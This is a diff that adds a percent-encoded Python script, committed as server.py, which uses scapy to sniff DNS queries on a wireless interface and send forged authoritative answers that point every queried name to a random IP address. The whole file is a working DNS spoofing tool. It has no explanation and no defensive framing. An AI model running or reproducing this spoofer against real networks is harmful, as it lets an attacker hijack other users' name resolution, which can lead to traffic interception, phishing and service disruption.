@@ -0,0 +1,730 @@
+from scapy.all import *%0A%0Adef dns_spoof(pkt):%0A    redirect_to = RandIP()%0A    if pkt.haslayer(DNSQR) and pkt.haslayer(IP): # DNS question record%0A        # print 'Recv from (',pkt%5BIP%5D.src,'):', pkt.summary()%0A        spoofed_pkt = IP(dst=pkt%5BIP%5D.src, src=pkt%5BIP%5D.dst)/%5C%0A                      UDP(dport=pkt%5BUDP%5D.sport, sport=pkt%5BUDP%5D.dport)/%5C%0A                      DNS(id=pkt%5BDNS%5D.id, qd=pkt%5BDNS%5D.qd, aa = 1, qr=1, %5C%0A                      an=DNSRR(rrname=pkt%5BDNS%5D.qd.qname,  ttl=10, rdata=redirect_to))%0A        send(spoofed_pkt)%0A        # print 'Sent to (', spoofed_pkt%5BIP%5D.dst, '):', spoofed_pkt.summary()%0A%0A%0A# Make it works for localhost:%0Aconf.L3socket = L3RawSocket%0Asniff(filter='udp port 53', iface='wlan3', store=0, prn=dns_spoof)%0A

Create server.py